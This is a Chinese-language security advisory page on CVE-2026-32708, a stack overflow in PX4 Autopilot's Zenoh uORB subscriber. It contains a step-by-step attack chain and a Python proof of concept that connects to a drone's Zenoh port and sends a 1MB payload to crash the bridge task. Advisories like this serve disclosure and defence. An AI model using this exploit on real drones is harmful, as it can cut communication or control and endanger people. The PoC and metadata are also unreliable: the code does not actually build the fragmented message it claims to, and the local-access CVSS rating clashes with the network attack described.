IPBUF安全漏洞报告
English
CVE-2026-32708 CVSS 7.8 高危

CVE-2026-32708: PX4 Autopilot Zenoh uORB订阅者栈溢出漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32708
漏洞类型
栈溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PX4 autopilot

相关标签

栈溢出PX4 AutopilotZenohuORB无人机安全VLADoSCVE-2026-32708飞行控制开源固件

漏洞概述

CVE-2026-32708是发现于PX4 Autopilot飞行控制固件中的一个高危安全漏洞。PX4 Autopilot是一款广泛应用于无人机和无人系统的开源飞行控制软件。该漏洞存在于Zenoh uORB(Unified Object Request Broker)订阅者组件中,具体表现为在处理传入的Zenoh消息负载时,直接根据payload长度在栈上分配可变长度数组(VLA),而未进行任何边界检查或限制。攻击者可以利用这一缺陷,通过发送特制的超大Fragmented Zenoh消息,强制系统进行无限制的栈内存分配。当栈空间被耗尽或复制操作超出栈边界时,将导致栈溢出,最终造成Zenoh桥接任务崩溃。由于该组件负责无人机关键飞行数据的传递,攻击成功可能导致无人机失去控制或执行异常飞行动作,对飞行安全构成严重威胁。该漏洞已于1.17.0-rc2版本中修复。

技术细节

该漏洞的根本原因在于Zenoh uORB订阅者组件在接收远程Zenoh发布者发送的消息时,采用了不安全的栈内存分配方式。具体来说,当接收到Zenoh消息后,订阅者直接根据消息payload的实际长度在栈上分配VLA(Variable Length Array),即栈上可变长数组。这种实现方式存在两个关键问题:首先,VLA的大小完全由攻击者可控的远程消息内容决定,攻击者可以发送任意长度的payload;其次,栈空间通常非常有限(通常只有几KB到几MB),而无限制的VLA分配可能导致栈内存耗尽。攻击者可以通过发送超大的分片(Fragmented)Zenoh消息,触发多次VLA分配和内存复制操作,最终导致栈溢出。栈溢出可能覆盖相邻的栈帧数据、返回地址和其他关键控制结构,攻击者可能利用此漏洞实现代码执行或导致服务拒绝(DoS)。由于Zenoh桥接任务负责无人机系统间的通信,崩溃将导致通信中断,影响无人机的正常飞行控制功能。修复方案包括:在分配前对payload长度进行验证、限制最大分配大小、使用堆分配替代栈VLA分配,以及实施适当的边界检查。

攻击链分析

STEP 1
步骤1
收集目标信息:识别运行PX4 Autopilot且版本低于1.17.0-rc2的无人机系统,确认Zenoh桥接服务暴露的网络端口
STEP 2
步骤2
构建恶意消息:构造包含超大payload(超过栈空间限制)的Zenoh分片消息,payload大小可设为1MB或更大
STEP 3
步骤3
建立Zenoh连接:使用Zenoh协议客户端连接到目标无人机的Zenoh桥接服务端口(通常为7447)
STEP 4
步骤4
发送恶意payload:通过session.put()或类似方法向uORB订阅主题(如fmu/out/vehicle_command)发送特制的超大消息
STEP 5
步骤5
触发栈溢出:Zenoh uORB订阅者接收到消息后,根据payload长度在栈上分配VLA,导致栈空间耗尽或溢出
STEP 6
步骤6
实现攻击效果:栈溢出覆盖关键数据,可能导致Zenoh桥接任务崩溃,造成无人机通信中断或控制失效

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32708 PoC - PX4 Autopilot Zenoh uORB Stack Overflow # This PoC demonstrates sending a malicious oversized fragmented Zenoh message import zenoh import struct import time def create_malicious_zenoh_message(): """ Create a malicious oversized fragmented Zenoh message to trigger stack overflow in Zenoh uORB subscriber """ # Maximum payload size to trigger stack overflow # Adjust based on target system's stack size MALICIOUS_PAYLOAD_SIZE = 1024 * 1024 # 1MB - exceeds typical stack size # Create oversized payload malicious_payload = b'\x41' * MALICIOUS_PAYLOAD_SIZE # Zenoh message structure for fragmented message zenoh_header = bytes([0x71]) # Z_ZMSG_FLAG_Z zenoh_fragment = zenoh_header + malicious_payload return zenoh_fragment def exploit_cve_2026_32708(target_host='192.168.1.1', target_port=7447): """ Exploit function to trigger the vulnerability """ try: # Create Zenoh session with malicious configuration config = zenoh.Config() config.insert_json5("connect/endpoints", f'["tcp/{target_host}:{target_port}"]') session = zenoh.open(config) # Create malicious message malicious_msg = create_malicious_zenoh_message() # Publish to uORB topic that Zenoh bridge subscribes to key_expr = "fmu/out/vehicle_command" print(f"[*] Sending malicious message ({len(malicious_msg)} bytes) to {key_expr}") session.put(key_expr, malicious_msg) # Wait for message processing time.sleep(2) print("[*] Message sent. If vulnerable, Zenoh bridge should crash.") session.close() except Exception as e: print(f"[!] Error: {e}") return False return True if __name__ == "__main__": print("CVE-2026-32708 PoC - PX4 Autopilot Zenoh uORB Stack Overflow") print("=" * 60) exploit_cve_2026_32708()

影响范围

PX4 Autopilot < 1.17.0-rc2

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1)限制Zenoh网络端口的访问权限,仅允许受信任的IP地址连接;2)使用网络防火墙规则阻止来自不可信源的Zenoh通信;3)监控Zenoh桥接任务的运行状态,设置异常告警;4)考虑在网络层面实施流量过滤,限制单次消息的最大传输单元(MTU)大小;5)部署入侵检测系统(IDS)监控异常的Zenoh消息模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表